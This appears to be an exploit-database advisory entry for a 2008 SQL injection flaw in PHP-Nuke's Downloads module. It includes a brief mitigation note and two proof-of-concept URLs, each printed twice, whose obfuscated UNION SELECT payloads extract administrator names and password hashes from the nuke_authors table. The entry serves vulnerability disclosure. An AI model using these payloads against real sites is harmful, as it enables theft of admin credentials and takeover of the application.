SQL Injection in PHP-Nuke Downloads Module

vendor:

Downloads Module

by:

SecurityFocus

8.8

CVSS

HIGH

SQL Injection

CWE

Product Name: Downloads Module

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: No

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

SQL Injection in PHP-Nuke Downloads Module

The Downloads module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. An attacker can exploit this vulnerability by sending a maliciously crafted HTTP request to the vulnerable application. For example, an attacker can send a specially crafted URL to the vulnerable application such as http://www.example.com/modules.php?name=Downloads&d_op=viewsdownload&sid=-00000%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/3333,aid/**/from%2F%2A%2A%2Fnuke_authors/*where%20admin%201%200%202 or http://www.example.com/modules.php?name=Downloads&d_op=viewsdownload&sid=-00000%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/3333,pwd/**/from%2F%2A%2A%2Fnuke_authors/*where%20admin%201%200%202, which can allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to construct SQL queries in a way that would allow an attacker to modify the logic of the executed query.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/27932/info

The Downloads module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/modules.php?name=Downloads&d_op=viewsdownload&sid=-00000%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/3333,aid/**/from%2F%2A%2A%2Fnuke_authors/*where%20admin%201%200%202
http://www.example.com/modules.php?name=Downloads&d_op=viewsdownload&sid=-00000%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/3333,pwd/**/from%2F%2A%2A%2Fnuke_authors/*where%20admin%201%200%202